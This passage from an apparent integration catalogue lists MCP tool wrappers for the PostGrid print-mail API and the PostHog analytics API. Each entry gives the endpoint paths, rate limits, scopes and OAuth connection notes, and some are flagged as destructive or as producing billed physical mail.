/api/v1/postgrid/print-mail/v1/postcards/{id}. Scopes: api. postgrid_get_print_mail_v1_postcards_by_id_url (read) — Postcards - get URL via GET /print-mail/v1/postcards/{id}/url. PostGrid rate-limits individual reads to 50 per minute. GET /api/v1/postgrid/print-mail/v1/postcards/{id}/url. Scopes: api. postgrid_get_print_mail_v1_reports (read) — Reports - list reports via GET /print-mail/v1/reports. PostGrid rate-limits list reads to 10 per minute. GET /api/v1/postgrid/print-mail/v1/reports. Scopes: api. postgrid_get_print_mail_v1_reports_by_id (read) — Reports - get report via GET /print-mail/v1/reports/{id}. PostGrid rate-limits individual reads to 50 per minute. GET /api/v1/postgrid/print-mail/v1/reports/{id}. Scopes: api. postgrid_get_print_mail_v1_reports_by_reportid_exports_by_exportid (read) — Reports - get report export via GET /print-mail/v1/reports/{reportID}/exports/{exportID}. PostGrid rate-limits individual reads to 50 per minute. GET /api/v1/postgrid/print-mail/v1/reports/{reportID}/exports/{exportID}. Scopes: api. postgrid_get_print_mail_v1_return_envelopes (read) — Return envelopes - list via GET /print-mail/v1/return_envelopes. PostGrid rate-limits list reads to 10 per minute. GET /api/v1/postgrid/print-mail/v1/return_envelopes. Scopes: api. postgrid_get_print_mail_v1_return_envelopes_by_id (read) — Return envelopes - get via GET /print-mail/v1/return_envelopes/{id}. PostGrid rate-limits individual reads to 50 per minute. GET /api/v1/postgrid/print-mail/v1/return_envelopes/{id}. Scopes: api. postgrid_get_print_mail_v1_return_envelopes_by_id_orders (read) — Return envelopes - list orders via GET /print-mail/v1/return_envelopes/{id}/orders. PostGrid rate-limits list reads to 10 per minute. GET /api/v1/postgrid/print-mail/v1/return_envelopes/{id}/orders. Scopes: api. postgrid_get_print_mail_v1_return_envelopes_by_id_orders_by_orderid (read) — Return envelopes - get order via GET /print-mail/v1/return_envelopes/{id}/orders/{orderID}. PostGrid rate-limits individual reads to 50 per minute. GET /api/v1/postgrid/print-mail/v1/return_envelopes/{id}/orders/{orderID}. Scopes: api. postgrid_get_print_mail_v1_self_mailers (read) — Self mailers - list via GET /print-mail/v1/self_mailers. PostGrid rate-limits list reads to 10 per minute. GET /api/v1/postgrid/print-mail/v1/self_mailers. Scopes: api. postgrid_get_print_mail_v1_self_mailers_by_id (read) — Self mailers - get via GET /print-mail/v1/self_mailers/{id}. PostGrid rate-limits individual reads to 50 per minute. GET /api/v1/postgrid/print-mail/v1/self_mailers/{id}. Scopes: api. postgrid_get_print_mail_v1_self_mailers_by_id_url (read) — Self mailers - get URL via GET /print-mail/v1/self_mailers/{id}/url. PostGrid rate-limits individual reads to 50 per minute. GET /api/v1/postgrid/print-mail/v1/self_mailers/{id}/url. Scopes: api. postgrid_get_print_mail_v1_snap_packs (read) — Snap packs - list via GET /print-mail/v1/snap_packs. PostGrid rate-limits list reads to 10 per minute. GET /api/v1/postgrid/print-mail/v1/snap_packs. Scopes: api. postgrid_get_print_mail_v1_snap_packs_by_id (read) — Snap packs - get via GET /print-mail/v1/snap_packs/{id}. PostGrid rate-limits individual reads to 50 per minute. GET /api/v1/postgrid/print-mail/v1/snap_packs/{id}. Scopes: api. postgrid_get_print_mail_v1_snap_packs_capabilities (read) — Snap packs - capabilities via GET /print-mail/v1/snap_packs/capabilities. PostGrid rate-limits individual reads to 50 per minute. GET /api/v1/postgrid/print-mail/v1/snap_packs/capabilities. Scopes: api. postgrid_get_print_mail_v1_sub_organizations (read) — Sub organizations - list via GET /print-mail/v1/sub_organizations. PostGrid rate-limits list reads to 10 per minute. GET /api/v1/postgrid/print-mail/v1/sub_organizations. Scopes: api. postgrid_get_print_mail_v1_sub_organizations_by_id (read) — Sub organizations - get via GET /print-mail/v1/sub_organizations/{id}. PostGrid rate-limits individual reads to 50 per minute. GET /api/v1/postgrid/print-mail/v1/sub_organizations/{id}. Scopes: api. postgrid_get_print_mail_v1_sub_organizations_by_id_users (read) — Sub organizations - list users via GET /print-mail/v1/sub_organizations/{id}/users. PostGrid rate-limits list reads to 10 per minute. GET /api/v1/postgrid/print-mail/v1/sub_organizations/{id}/users. Scopes: api. postgrid_get_print_mail_v1_targeted_list_builds (read) — Targeted list builds - list via GET /print-mail/v1/targeted_list_builds. PostGrid rate-limits list reads to 10 per minute. GET /api/v1/postgrid/print-mail/v1/targeted_list_builds. Scopes: api. postgrid_get_print_mail_v1_targeted_list_builds_by_id (read) — Targeted list builds - get via GET /print-mail/v1/targeted_list_builds/{id}. PostGrid rate-limits individual reads to 50 per minute. GET /api/v1/postgrid/print-mail/v1/targeted_list_builds/{id}. Scopes: api. postgrid_get_print_mail_v1_template_editor_sessions (read) — Template editor sessions - list via GET /print-mail/v1/template_editor_sessions. PostGrid rate-limits list reads to 10 per minute. GET /api/v1/postgrid/print-mail/v1/template_editor_sessions. Scopes: api. postgrid_get_print_mail_v1_templates (read) — Templates - list via GET /print-mail/v1/templates. PostGrid rate-limits list reads to 10 per minute. GET /api/v1/postgrid/print-mail/v1/templates. Scopes: api. postgrid_get_print_mail_v1_templates_by_id (read) — Templates - get via GET /print-mail/v1/templates/{id}. PostGrid rate-limits individual reads to 50 per minute. GET /api/v1/postgrid/print-mail/v1/templates/{id}. Scopes: api. postgrid_get_print_mail_v1_trackers (read) — Trackers - list via GET /print-mail/v1/trackers. PostGrid rate-limits list reads to 10 per minute. GET /api/v1/postgrid/print-mail/v1/trackers. Scopes: api. postgrid_get_print_mail_v1_trackers_by_id (read) — Trackers - get via GET /print-mail/v1/trackers/{id}. PostGrid rate-limits individual reads to 50 per minute. GET /api/v1/postgrid/print-mail/v1/trackers/{id}. Scopes: api. postgrid_get_print_mail_v1_trackers_by_id_visits (read) — Trackers - list visits via GET /print-mail/v1/trackers/{id}/visits. PostGrid rate-limits list reads to 10 per minute. GET /api/v1/postgrid/print-mail/v1/trackers/{id}/visits. Scopes: api. postgrid_get_print_mail_v1_virtual_mailboxes (read) — Virtual mailboxes - list via GET /print-mail/v1/virtual_mailboxes. PostGrid rate-limits list reads to 10 per minute. GET /api/v1/postgrid/print-mail/v1/virtual_mailboxes. Scopes: api. postgrid_get_print_mail_v1_virtual_mailboxes_by_id (read) — Virtual mailboxes - retrieve via GET /print-mail/v1/virtual_mailboxes/{id}. PostGrid rate-limits individual reads to 50 per minute. GET /api/v1/postgrid/print-mail/v1/virtual_mailboxes/{id}. Scopes: api. postgrid_get_print_mail_v1_virtual_mailboxes_by_id_address (read) — Virtual mailboxes - retrieve address via GET /print-mail/v1/virtual_mailboxes/{id}/address. PostGrid rate-limits individual reads to 50 per minute. GET /api/v1/postgrid/print-mail/v1/virtual_mailboxes/{id}/address. Scopes: api. postgrid_get_print_mail_v1_virtual_mailboxes_by_id_items (read) — Virtual mailboxes - list items via GET /print-mail/v1/virtual_mailboxes/{id}/items. PostGrid rate-limits list reads to 10 per minute. GET /api/v1/postgrid/print-mail/v1/virtual_mailboxes/{id}/items. Scopes: api. postgrid_get_print_mail_v1_virtual_mailboxes_by_id_items_by_itemid (read) — Virtual mailboxes - retrieve item via GET /print-mail/v1/virtual_mailboxes/{id}/items/{itemID}. PostGrid rate-limits individual reads to 50 per minute. GET /api/v1/postgrid/print-mail/v1/virtual_mailboxes/{id}/items/{itemID}. Scopes: api. postgrid_get_print_mail_v1_webhooks (read) — Webhooks - list via GET /print-mail/v1/webhooks. PostGrid rate-limits list reads to 10 per minute. GET /api/v1/postgrid/print-mail/v1/webhooks. Scopes: api. postgrid_get_print_mail_v1_webhooks_by_id (read) — Webhooks - get via GET /print-mail/v1/webhooks/{id}. PostGrid rate-limits individual reads to 50 per minute. GET /api/v1/postgrid/print-mail/v1/webhooks/{id}. Scopes: api. postgrid_get_print_mail_v1_webhooks_by_id_invocations (read) — Webhooks - list invocations via GET /print-mail/v1/webhooks/{id}/invocations. PostGrid rate-limits list reads to 10 per minute. GET /api/v1/postgrid/print-mail/v1/webhooks/{id}/invocations. Scopes: api. postgrid_post_print_mail_v1_bank_accounts (write) — Bank accounts - create via POST /print-mail/v1/bank_accounts POST /api/v1/postgrid/print-mail/v1/bank_accounts. Scopes: api. postgrid_post_print_mail_v1_boxes (write) — Boxes - create via POST /print-mail/v1/boxes. In live mode this produces real physical mail and is billed to the connected PostGrid organization; with a test key the order completes and previews render but nothing is printed or mailed and the address is NOT verified. POST /api/v1/postgrid/print-mail/v1/boxes. Scopes: api. postgrid_post_print_mail_v1_boxes_by_id_progressions (write) — Boxes - progress via POST /print-mail/v1/boxes/{id}/progressions POST /api/v1/postgrid/print-mail/v1/boxes/{id}/progressions. Scopes: api. postgrid_post_print_mail_v1_campaigns (write) — Campaigns - create via POST /print-mail/v1/campaigns POST /api/v1/postgrid/print-mail/v1/campaigns. Scopes: api. postgrid_post_print_mail_v1_campaigns_by_id (write) — Campaigns - update via POST /print-mail/v1/campaigns/{id} POST /api/v1/postgrid/print-mail/v1/campaigns/{id}. Scopes: api. postgrid_post_print_mail_v1_campaigns_by_id_send (write) — Campaigns - send via POST /print-mail/v1/campaigns/{id}/send. In live mode this produces real physical mail and is billed to the connected PostGrid organization; with a test key the order completes and previews render but nothing is printed or mailed and the address is NOT verified. POST /api/v1/postgrid/print-mail/v1/campaigns/{id}/send. Scopes: api. postgrid_post_print_mail_v1_cheques (write) — Cheques - create via POST /print-mail/v1/cheques. In live mode this produces real physical mail and is billed to the connected PostGrid organization; with a test key the order completes and previews render but nothing is printed or mailed and the address is NOT verified. POST /api/v1/postgrid/print-mail/v1/cheques. Scopes: api. postgrid_post_print_mail_v1_cheques_by_id_cancellation (write) — Cheques - cancel with note via POST /print-mail/v1/cheques/{id}/cancellation POST /api/v1/postgrid/print-mail/v1/cheques/{id}/cancellation. Scopes: api. postgrid_post_print_mail_v1_cheques_by_id_progressions (write) — Cheques - progress via POST /print-mail/v1/cheques/{id}/progressions POST /api/v1/postgrid/print-mail/v1/cheques/{id}/progressions. Scopes: api. postgrid_post_print_mail_v1_contacts (write) — Contacts - create via POST /print-mail/v1/contacts POST /api/v1/postgrid/print-mail/v1/contacts. Scopes: api. postgrid_post_print_mail_v1_letters (write) — Letters - create via POST /print-mail/v1/letters. In live mode this produces real physical mail and is billed to the connected PostGrid organization; with a test key the order completes and previews render but nothing is printed or mailed and the address is NOT verified. POST /api/v1/postgrid/print-mail/v1/letters. Scopes: api. postgrid_post_print_mail_v1_letters_by_id_cancellation (write) — Letters - cancel with note via POST /print-mail/v1/letters/{id}/cancellation POST /api/v1/postgrid/print-mail/v1/letters/{id}/cancellation. Scopes: api. postgrid_post_print_mail_v1_letters_by_id_progressions (write) — Letters - progress via POST /print-mail/v1/letters/{id}/progressions POST /api/v1/postgrid/print-mail/v1/letters/{id}/progressions. Scopes: api. postgrid_post_print_mail_v1_mailing_list_imports (write) — Mailing list imports - create via POST /print-mail/v1/mailing_list_imports POST /api/v1/postgrid/print-mail/v1/mailing_list_imports. Scopes: api. postgrid_post_print_mail_v1_mailing_list_imports_by_id (write) — Mailing list imports - update via POST /print-mail/v1/mailing_list_imports/{id} POST /api/v1/postgrid/print-mail/v1/mailing_list_imports/{id}. Scopes: api. postgrid_post_print_mail_v1_mailing_lists (write) — Mailing lists - create via POST /print-mail/v1/mailing_lists POST /api/v1/postgrid/print-mail/v1/mailing_lists. Scopes: api. postgrid_post_print_mail_v1_mailing_lists_by_id (write) — Mailing lists - update via POST /print-mail/v1/mailing_lists/{id} POST /api/v1/postgrid/print-mail/v1/mailing_lists/{id}. Scopes: api. postgrid_post_print_mail_v1_mailing_lists_by_id_jobs (write) — Mailing lists - mailing list jobs via POST /print-mail/v1/mailing_lists/{id}/jobs POST /api/v1/postgrid/print-mail/v1/mailing_lists/{id}/jobs. Scopes: api. postgrid_post_print_mail_v1_postcards (write) — Postcards - create via POST /print-mail/v1/postcards. In live mode this produces real physical mail and is billed to the connected PostGrid organization; with a test key the order completes and previews render but nothing is printed or mailed and the address is NOT verified. POST /api/v1/postgrid/print-mail/v1/postcards. Scopes: api. postgrid_post_print_mail_v1_postcards_by_id_cancellation (write) — Postcards - cancel with note via POST /print-mail/v1/postcards/{id}/cancellation POST /api/v1/postgrid/print-mail/v1/postcards/{id}/cancellation. Scopes: api. postgrid_post_print_mail_v1_postcards_by_id_progressions (write) — Postcards - progress via POST /print-mail/v1/postcards/{id}/progressions POST /api/v1/postgrid/print-mail/v1/postcards/{id}/progressions. Scopes: api. postgrid_post_print_mail_v1_reports (write) — Reports - create report via POST /print-mail/v1/reports POST /api/v1/postgrid/print-mail/v1/reports. Scopes: api. postgrid_post_print_mail_v1_reports_by_id (write) — Reports - update report via POST /print-mail/v1/reports/{id} POST /api/v1/postgrid/print-mail/v1/reports/{id}. Scopes: api. postgrid_post_print_mail_v1_reports_by_id_samples (write) — Reports - run saved report sample via POST /print-mail/v1/reports/{id}/samples POST /api/v1/postgrid/print-mail/v1/reports/{id}/samples. Scopes: api. postgrid_post_print_mail_v1_reports_by_reportid_exports (write) — Reports - create report export via POST /print-mail/v1/reports/{reportID}/exports POST /api/v1/postgrid/print-mail/v1/reports/{reportID}/exports. Scopes: api. postgrid_post_print_mail_v1_reports_samples (write) — Reports - run ad hoc sample via POST /print-mail/v1/reports/samples POST /api/v1/postgrid/print-mail/v1/reports/samples. Scopes: api. postgrid_post_print_mail_v1_return_envelopes (write) — Return envelopes - create via POST /print-mail/v1/return_envelopes POST /api/v1/postgrid/print-mail/v1/return_envelopes. Scopes: api. postgrid_post_print_mail_v1_return_envelopes_by_id_orders (write) — Return envelopes - create order via POST /print-mail/v1/return_envelopes/{id}/orders. In live mode this produces real physical mail and is billed to the connected PostGrid organization; with a test key the order completes and previews render but nothing is printed or mailed and the address is NOT verified. POST /api/v1/postgrid/print-mail/v1/return_envelopes/{id}/orders. Scopes: api. postgrid_post_print_mail_v1_return_envelopes_by_id_orders_by_orderid_fills (write) — Return envelopes - fill test order via POST /print-mail/v1/return_envelopes/{id}/orders/{orderID}/fills POST /api/v1/postgrid/print-mail/v1/return_envelopes/{id}/orders/{orderID}/fills. Scopes: api. postgrid_post_print_mail_v1_self_mailers (write) — Self mailers - create via POST /print-mail/v1/self_mailers. In live mode this produces real physical mail and is billed to the connected PostGrid organization; with a test key the order completes and previews render but nothing is printed or mailed and the address is NOT verified. POST /api/v1/postgrid/print-mail/v1/self_mailers. Scopes: api. postgrid_post_print_mail_v1_self_mailers_by_id_progressions (write) — Self mailers - progress via POST /print-mail/v1/self_mailers/{id}/progressions POST /api/v1/postgrid/print-mail/v1/self_mailers/{id}/progressions. Scopes: api. postgrid_post_print_mail_v1_snap_packs (write) — Snap packs - create via POST /print-mail/v1/snap_packs. In live mode this produces real physical mail and is billed to the connected PostGrid organization; with a test key the order completes and previews render but nothing is printed or mailed and the address is NOT verified. POST /api/v1/postgrid/print-mail/v1/snap_packs. Scopes: api. postgrid_post_print_mail_v1_snap_packs_by_id_progressions (write) — Snap packs - progress via POST /print-mail/v1/snap_packs/{id}/progressions POST /api/v1/postgrid/print-mail/v1/snap_packs/{id}/progressions. Scopes: api. postgrid_post_print_mail_v1_sub_organizations (write) — Sub organizations - create via POST /print-mail/v1/sub_organizations POST /api/v1/postgrid/print-mail/v1/sub_organizations. Scopes: api. postgrid_post_print_mail_v1_targeted_list_builds (write) — Targeted list builds - create via POST /print-mail/v1/targeted_list_builds POST /api/v1/postgrid/print-mail/v1/targeted_list_builds. Scopes: api. postgrid_post_print_mail_v1_targeted_list_builds_by_id (write) — Targeted list builds - update via POST /print-mail/v1/targeted_list_builds/{id} POST /api/v1/postgrid/print-mail/v1/targeted_list_builds/{id}. Scopes: api. postgrid_post_print_mail_v1_targeted_list_builds_by_id_confirm (write) — Targeted list builds - confirm via POST /print-mail/v1/targeted_list_builds/{id}/confirm POST /api/v1/postgrid/print-mail/v1/targeted_list_builds/{id}/confirm. Scopes: api. postgrid_post_print_mail_v1_targeted_list_builds_filters_autocomplete (write) — Targeted list builds - autocomplete via POST /print-mail/v1/targeted_list_builds/filters/autocomplete POST /api/v1/postgrid/print-mail/v1/targeted_list_builds/filters/autocomplete. Scopes: api. postgrid_post_print_mail_v1_template_editor_sessions (write) — Template editor sessions - create via POST /print-mail/v1/template_editor_sessions POST /api/v1/postgrid/print-mail/v1/template_editor_sessions. Scopes: api. postgrid_post_print_mail_v1_templates (write) — Templates - create via POST /print-mail/v1/templates POST /api/v1/postgrid/print-mail/v1/templates. Scopes: api. postgrid_post_print_mail_v1_templates_by_id (write) — Templates - update via POST /print-mail/v1/templates/{id} POST /api/v1/postgrid/print-mail/v1/templates/{id}. Scopes: api. postgrid_post_print_mail_v1_trackers (write) — Trackers - create via POST /print-mail/v1/trackers POST /api/v1/postgrid/print-mail/v1/trackers. Scopes: api. postgrid_post_print_mail_v1_trackers_by_id (write) — Trackers - update via POST /print-mail/v1/trackers/{id} POST /api/v1/postgrid/print-mail/v1/trackers/{id}. Scopes: api. postgrid_post_print_mail_v1_virtual_mailboxes (write) — Virtual mailboxes - create via POST /print-mail/v1/virtual_mailboxes POST /api/v1/postgrid/print-mail/v1/virtual_mailboxes. Scopes: api. postgrid_post_print_mail_v1_virtual_mailboxes_by_id_items (write) — Virtual mailboxes - create test item via POST /print-mail/v1/virtual_mailboxes/{id}/items POST /api/v1/postgrid/print-mail/v1/virtual_mailboxes/{id}/items. Scopes: api. postgrid_post_print_mail_v1_webhooks (write) — Webhooks - create via POST /print-mail/v1/webhooks POST /api/v1/postgrid/print-mail/v1/webhooks. Scopes: api. postgrid_post_print_mail_v1_webhooks_by_id (write) — Webhooks - update via POST /print-mail/v1/webhooks/{id} POST /api/v1/postgrid/print-mail/v1/webhooks/{id}. Scopes: api. ================================================================================ ## PostHog URL: https://www.agenticfabriq.com/integrations/posthog Section: Integrated Tools PostHog — 291 MCP tools Provider key: posthog. Scopes: action:read, action:write, activity_log:read, alert:read, alert:write, annotation:read, annotation:write, cohort:read, cohort:write, comment:read, comment:write, dashboard:read, dashboard:write, dashboard_template:read, dashboard_template:write, early_access_feature:read, early_access_feature:write, element:read, event_definition:read, event_definition:write, experiment:read, experiment:write, experiment_holdout:read, experiment_holdout:write, experiment_saved_metric:read, experiment_saved_metric:write, export:read, export:write, feature_flag:read, feature_flag:write, group:read, group:write, heatmap:read, insight:read, insight:write, insight_variable:read, insight_variable:write, organization:read, organization:write, organization_member:read, organization_member:write, person:read, person:write, project:read, project:write, property_definition:read, property_definition:write, query:read, session_recording:read, session_recording:write, session_recording_playlist:read, session_recording_playlist:write, sharing_configuration:read, sharing_configuration:write, subscription:read, subscription:write, survey:read, survey:write, usage_metric:read, usage_metric:write, user:read, user:write. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. posthog_delete_api_organizations_by_id (write, destructive) — Delete organization via DELETE /api/organizations/{id}/ DELETE /api/v1/posthog/organizations/{id}/. Scopes: organization:write. posthog_delete_api_organizations_by_organization_id_domains_by_id (write, destructive) — Delete organization domain via DELETE /api/organizations/{organization_id}/domains/{id}/ DELETE /api/v1/posthog/organizations/{organization_id}/domains/{id}/. Scopes: organization:write. posthog_delete_api_organizations_by_organization_id_invites_by_id (write, destructive) — Delete organization invite via DELETE /api/organizations/{organization_id}/invites/{id}/ DELETE /api/v1/posthog/organizations/{organization_id}/invites/{id}/. Scopes: organization_member:write. posthog_delete_api_organizations_by_organization_id_members_by_user_uuid (write, destructive) — Delete organization member via DELETE /api/organizations/{organization_id}/members/{user__uuid}/ DELETE /api/v1/posthog/organizations/{organization_id}/members/{user__uuid}/. Scopes: organization_member:write. posthog_delete_api_organizations_by_organization_id_projects_by_id (write, destructive) — Delete project via DELETE /api/organizations/{organization_id}/projects/{id}/ Projects for the current organization. DELETE /api/v1/posthog/organizations/{organization_id}/projects/{id}/. Scopes: project:write. posthog_delete_api_organizations_by_organization_id_roles_by_id (write, destructive) — Delete role via DELETE /api/organizations/{organization_id}/roles/{id}/ Role endpoints disclose member records, so they scope them the same way the members list does when the org restricts member list visibility. DELETE /api/v1/posthog/organizations/{organization_id}/roles/{id}/. Scopes: organization:write. posthog_delete_api_organizations_by_organization_id_roles_by_role_id_role_memberships_by_id (write, destructive) — Delete role membership via DELETE /api/organizations/{organization_id}/roles/{role_id}/role_memberships/{id}/ Role endpoints disclose member records, so they scope them the same way the members list does when the org restricts member list visibility. DELETE /api/v1/posthog/organizations/{organization_id}/roles/{role_id}/role_memberships/{id}/. Scopes: organization:write. posthog_delete_api_projects_by_project_id_actions_by_id (write, destructive) — Delete action via DELETE /api/projects/{project_id}/actions/{id}/ Hard delete of this model is not allowed. Use a patch API call to set "deleted" to true DELETE /api/v1/posthog/projects/{project_id}/actions/{id}/. Scopes: action:write. posthog_delete_api_projects_by_project_id_alerts_by_id (write, destructive) — Delete alert via DELETE /api/projects/{project_id}/alerts/{id}/ DELETE /api/v1/posthog/projects/{project_id}/alerts/{id}/. Scopes: alert:write. posthog_delete_api_projects_by_project_id_annotations_by_id (write, destructive) — Delete annotation via DELETE /api/projects/{project_id}/annotations/{id}/ Hard delete of this model is not allowed. Use a patch API call to set "deleted" to true DELETE /api/v1/posthog/projects/{project_id}/annotations/{id}/. Scopes: annotation:write. posthog_delete_api_projects_by_project_id_cohorts_by_id (write, destructive) — Delete cohort via DELETE /api/projects/{project_id}/cohorts/{id}/ Hard delete of this model is not allowed. Use a patch API call to set "deleted" to true DELETE /api/v1/posthog/projects/{project_id}/cohorts/{id}/. Scopes: cohort:write. posthog_delete_api_projects_by_project_id_comments_by_id (write, destructive) — Delete comment via DELETE /api/projects/{project_id}/comments/{id}/ Hard delete of this model is not allowed. Use a patch API call to set "deleted" to true DELETE /api/v1/posthog/projects/{project_id}/comments/{id}/. Scopes: comment:write. posthog_delete_api_projects_by_project_id_dashboard_templates_by_id (write, destructive) — Delete dashboard template via DELETE /api/projects/{project_id}/dashboard_templates/{id}/ Hard delete of this model is not allowed. Use a patch API call to set "deleted" to true DELETE /api/v1/posthog/projects/{project_id}/dashboard_templates/{id}/. Scopes: dashboard_template:write. posthog_delete_api_projects_by_project_id_dashboards_by_dashboard_id_collaborators_by_user_uuid (write, destructive) — Delete dashboard collaborator via DELETE /api/projects/{project_id}/dashboards/{dashboard_id}/collaborators/{user__uuid}/ DELETE /api/v1/posthog/projects/{project_id}/dashboards/{dashboard_id}/collaborators/{user__uuid}/. Scopes: dashboard:write. posthog_delete_api_projects_by_project_id_dashboards_by_dashboard_id_sharing_passwords_by_password_id (write, destructive) — Delete dashboard sharing password via DELETE /api/projects/{project_id}/dashboards/{dashboard_id}/sharing/passwords/{password_id}/ Delete a password from the sharing configuration. DELETE /api/v1/posthog/projects/{project_id}/dashboards/{dashboard_id}/sharing/passwords/{password_id}/. Scopes: sharing_configuration:write. posthog_delete_api_projects_by_project_id_dashboards_by_id (write, destructive) — Delete dashboard via DELETE /api/projects/{project_id}/dashboards/{id}/ Hard delete of this model is not allowed. Use a patch API call to set "deleted" to true DELETE /api/v1/posthog/projects/{project_id}/dashboards/{id}/. Scopes: dashboard:write. posthog_delete_api_projects_by_project_id_early_access_feature_by_id (write, destructive) — Delete early access feature via DELETE /api/projects/{project_id}/early_access_feature/{id}/ DELETE /api/v1/posthog/projects/{project_id}/early_access_feature/{id}/. Scopes: early_access_feature:write. posthog_delete_api_projects_by_project_id_event_definitions_by_id (write, destructive) — Delete event definition via DELETE /api/projects/{project_id}/event_definitions/{id}/ DELETE /api/v1/posthog/projects/{project_id}/event_definitions/{id}/. Scopes: event_definition:write. posthog_delete_api_projects_by_project_id_experiment_holdouts_by_id (write, destructive) — Delete experiment holdout via DELETE /api/projects/{project_id}/experiment_holdouts/{id}/ DELETE /api/v1/posthog/projects/{project_id}/experiment_holdouts/{id}/. Scopes: experiment_holdout:write. posthog_delete_api_projects_by_project_id_experiment_saved_metrics_by_id (write, destructive) — Delete experiment saved metric via DELETE /api/projects/{project_id}/experiment_saved_metrics/{id}/ DELETE /api/v1/posthog/projects/{project_id}/experiment_saved_metrics/{id}/. Scopes: experiment_saved_metric:write. posthog_delete_api_projects_by_project_id_experiments_by_id (write, destructive) — Delete experiment via DELETE /api/projects/{project_id}/experiments/{id}/ Hard delete of this model is not allowed. Use a patch API call to set "deleted" to true DELETE /api/v1/posthog/projects/{project_id}/experiments/{id}/. Scopes: experiment:write. posthog_delete_api_projects_by_project_id_feature_flags_by_id (write, destructive) — Delete feature flag via DELETE /api/projects/{project_id}/feature_flags/{id}/ Hard delete of this model is not allowed. Use a patch API call to set "deleted" to true DELETE /api/v1/posthog/projects/{project_id}/feature_flags/{id}/. Scopes: feature_flag:write. posthog_delete_api_projects_by_project_id_groups_types_by_group_type_index (write, destructive) — Delete group type via DELETE /api/projects/{project_id}/groups_types/{group_type_index}/ DELETE /api/v1/posthog/projects/{project_id}/groups_types/{group_type_index}/. Scopes: group:write. posthog_delete_api_projects_by_project_id_groups_types_by_group_type_index_metrics_by_id (write, destructive) — Delete group type metric via DELETE /api/projects/{project_id}/groups_types/{group_type_index}/metrics/{id}/ DELETE /api/v1/posthog/projects/{project_id}/groups_types/{group_type_index}/metrics/{id}/. Scopes: usage_metric:write. posthog_delete_api_projects_by_project_id_insight_variables_by_id (write, destructive) — Delete insight variable via DELETE /api/projects/{project_id}/insight_variables/{id}/ DELETE /api/v1/posthog/projects/{project_id}/insight_variables/{id}/. Scopes: insight_variable:write. posthog_delete_api_projects_by_project_id_insights_by_id (write, destructive) — Delete insight via DELETE /api/projects/{project_id}/insights/{id}/ Hard delete of this model is not allowed. Use a patch API call to set "deleted" to true DELETE /api/v1/posthog/projects/{project_id}/insights/{id}/. Scopes: insight:write. posthog_delete_api_projects_by_project_id_insights_by_insight_id_sharing_passwords_by_password_id (write, destructive) — Delete insight sharing password via DELETE /api/projects/{project_id}/insights/{insight_id}/sharing/passwords/{password_id}/ Delete a password from the sharing configuration. DELETE /api/v1/posthog/projects/{project_id}/insights/{insight_id}/sharing/passwords/{password_id}/. Scopes: sharing_configuration:write. posthog_delete_api_projects_by_project_id_property_definitions_by_id (write, destructive) — Delete property definition via DELETE /api/projects/{project_id}/property_definitions/{id}/ DELETE /api/v1/posthog/projects/{project_id}/property_definitions/{id}/. Scopes: property_definition:write. posthog_delete_api_projects_by_project_id_query_by_id (write, destructive) — Delete query via DELETE /api/projects/{project_id}/query/{id}/ (Experimental) DELETE /api/v1/posthog/projects/{project_id}/query/{id}/. Scopes: query:read. posthog_delete_api_projects_by_project_id_session_recording_playlists_by_short_id_recordings_by_session_recording_id (write, destructive) — Delete session recording playlist recording via DELETE /api/projects/{project_id}/session_recording_playlists/{short_id}/recordings/{session_recording_id}/ DELETE /api/v1/posthog/projects/{project_id}/session_recording_playlists/{short_id}/recordings/{session_recording_id}/. Scopes: session_recording_playlist:write. posthog_delete_api_projects_by_project_id_session_recordings_by_id (write, destructive) — Delete session recording via DELETE /api/projects/{project_id}/session_recordings/{id}/ DELETE /api/v1/posthog/projects/{project_id}/session_recordings/{id}/. Scopes: session_recording:write. posthog_delete_api_projects_by_project_id_session_recordings_by_recording_id_sharing_passwords_by_password_id (write, destructive) — Delete session recording sharing password via DELETE /api/projects/{project_id}/session_recordings/{recording_id}/sharing/passwords/{password_id}/ Delete a password from the sharing configuration. DELETE /api/v1/posthog/projects/{project_id}/session_recordings/{recording_id}/sharing/passwords/{password_id}/. Scopes: sharing_configuration:write. posthog_delete_api_projects_by_project_id_subscriptions_by_id (write, destructive) — Delete subscription via DELETE /api/projects/{project_id}/subscriptions/{id}/ Hard delete of this model is not allowed. Use a patch API call to set "deleted" to true DELETE /api/v1/posthog/projects/{project_id}/subscriptions/{id}/. Scopes: subscription:write. posthog_delete_api_projects_by_project_id_surveys_by_id (write, destructive) — Delete survey via DELETE /api/projects/{project_id}/surveys/{id}/ DELETE /api/v1/posthog/projects/{project_id}/surveys/{id}/. Scopes: survey:write. posthog_get_api_organizations (read) — List organizations via GET /api/organizations/ GET /api/v1/posthog/organizations/. Scopes: organization:read. posthog_get_api_organizations_by_id (read) — Get organization via GET /api/organizations/{id}/ GET /api/v1/posthog/organizations/{id}/. Scopes: organization:read. posthog_get_api_organizations_by_organization_id_domains (read) — List organization domains via GET /api/organizations/{organization_id}/domains/ GET /api/v1/posthog/organizations/{organization_id}/domains/. Scopes: organization:read. posthog_get_api_organizations_by_organization_id_domains_by_id (read) — Get organization domain via GET /api/organizations/{organization_id}/domains/{id}/ GET /api/v1/posthog/organizations/{organization_id}/domains/{id}/. Scopes: organization:read. posthog_get_api_organizations_by_organization_id_invites (read) — List organization invites via GET /api/organizations/{organization_id}/invites/ GET /api/v1/posthog/organizations/{organization_id}/invites/. Scopes: organization_member:read. posthog_get_api_organizations_by_organization_id_members (read) — List organization members via GET /api/organizations/{organization_id}/members/ GET /api/v1/posthog/organizations/{organization_id}/members/. Scopes: organization_member:read. posthog_get_api_organizations_by_organization_id_projects (read) — List projects via GET /api/organizations/{organization_id}/projects/ Projects for the current organization. GET /api/v1/posthog/organizations/{organization_id}/projects/. Scopes: project:read. posthog_get_api_organizations_by_organization_id_projects_by_id (read) — Get project via GET /api/organizations/{organization_id}/projects/{id}/ Retrieve a project and its settings. GET /api/v1/posthog/organizations/{organization_id}/projects/{id}/. Scopes: project:read. posthog_get_api_organizations_by_organization_id_projects_by_id_event_ingestion_restrictions (read) — Get project event ingestion restrictions via GET /api/organizations/{organization_id}/projects/{id}/event_ingestion_restrictions/ Projects for the current organization. GET 